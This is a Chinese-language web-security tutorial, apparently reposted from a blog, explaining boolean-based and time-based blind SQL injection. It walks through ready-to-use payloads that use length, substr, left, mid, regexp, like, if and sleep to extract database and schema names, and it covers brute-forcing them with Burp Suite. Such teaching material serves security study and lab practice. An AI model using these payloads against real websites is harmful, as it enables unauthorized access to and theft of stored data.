0


SQL注入-盲注(布尔盲注与时间盲注)

一、什么是盲注

盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。

通俗的讲就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。

二、盲注的分类

  • 基于布尔类型的盲注
  • 基于时间类型的盲注

三、利用盲注的前提条件

首先页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息。

四、盲注的优缺点

优点:不需要显示位和出错信息。

缺点:速度慢,耗费时间长(可以用到bp等工具)。

五、基于布尔类型的盲注

1.什么情况下使用布尔类型的盲注

  • 没有返回SQL执行的错误信息
  • 错误与正确的输入,返回的结果只有两种

错误页面:

正确页面:

2.使用布尔类型盲注的操作步骤:

  1. 构造目标查询语句
  2. 选择拼接方式
  3. 构造判断表达式
  4. 提取数据长度
  5. 提取数据内容

3.布尔类型盲注的操作过程(以获取当前数据库为例)

在SQL注入过程中,由于没有显示位于报错信息,所以会用到截取字符串函数进行数据的提取,所往往需要一个一个字符去猜。

第一步:获取当前数据库的长度

payload为:lili' and length((select database()))=7--+

查看返回结果(需要自己试,也可以是用bp工具,也可以使用“>”,“<”符号):

当输入其他数字时,查看返回结果:

第二步:获取当前数据库库名(获取前三个字符,数据量太大,需要用到bp工具)

开启burp suite

payload为:lili' and substr((select database()),1,1)='a'--+

substr为截取字符串函数,第一个参数为我们的SQL语句,第二个参数1表示从第一个字符开始,第三个参数表示截取一个字符。并且该字符为a。

通过bp工具暴力破解

通过上述方法即可获得当前数据库库名。

3.2获取所有数据库库名

第一步,获取字符长度

payload为:name=lili' and length((select group_concat(schema_name)from information_schema.schemata))=1--+

开启bp

第二步,获取所有数据库库名

这边可以选择狙击手模式(sniper)也可以选择集束炸弹模式(cluster bomb),狙击手模式需要手动修改参数,集束炸弹模式对电脑配置要求比较高,此处演示集束炸弹模式

根据破解的结果可以知道相应的答案

4.使用其他函数进行布尔类型的盲注(演示获取当前数据库)

4.1 left()函数:

语法:left (string,n) string为要截取的字符串,n为长度。

payload:name=lili' and left((select database()),1)='p'--+

4.2 mid()函数:

语法:mid(string, start[, length]) column_name为要提取字符的字段,start为开始截取位置(起始值是1),length为截取的长度(可选,默认余下所有字符)

char(x)函数:将x的值转为所对应的字符

payload:name=lili' and mid((select database()),1,1)=char(112)--+

4.3 正则表达式 regexp :

正则表达式语法: regexp ^[a-z] 表示字符串中第一个字符是在 a-z范围内。regexp ^a 表示字符串第一个字符是a。regexp ^ab 表示字符串前两个字符是ab。

payload:name=lili' and (select database()) regexp '^p'--+

4.4 like函数:

语法:Like 'a%'表示字符串第一个字符是a。

       Like 'ab%'表示字符串前两个字符是ab。

%表示为任意值

payload:name=lili' and (select database()) like 'p%'--+

4.5 if语句 :

语法:if(判断条件,正确返回的值,错误返回的值)

注意数据库中的if与后端if不一样

payload:name=lili' and 1= if(((select database())like 'p%'),1,0)--+

表示如果if语句中的第一个参数为真,则输出第一个值1,不为真输出第二个值0;

六、基于时间类型的盲注

1.何时利用时间类型的盲注:

页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样,此时需要使用时间类型的盲注。

时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用IF语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。

2.时间类型盲注的注意事项

  1. 通常使用sleep()等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。
  2. 为了提高效率,通常在表达式判断为真时执行延时语句。
  3. 时间盲注语句拼接时无特殊要求,保证语法正确即可。

3.基于时间盲注的演示

1.通过时间线判断sql语句是否执行

2.通过添加sleep函数判断:

payload:name=lili'and sleep(5)--+ 执行成功时间线为5s

payload:name=lili''and sleep(5)--+ 执行失败时间线为32ms

3.通过时间盲注获取当前数据库

第一步:

首先需要获取数据库长度

payload:name=lili'and if(length((select database()))=7,sleep(5),0)--+

根据时间线判断可知数据库的字符长度为7

第二步:

获取当前数据库的库名

payload:name=lili'and if(substr((select database()),1,1)='p',sleep(5),0)--+

根据时间线判断当前数据库的库名的第一个符为‘p’

也可以使用上边布尔类型盲注的其他函数执行。

标签: sql 数据库 web安全

本文转载自: https://blog.csdn.net/LJH1999ZN/article/details/122863892
版权归原作者 一句话木马 所有, 如有侵权,请联系我们删除。

“SQL注入-盲注(布尔盲注与时间盲注)”的评论:

还没有评论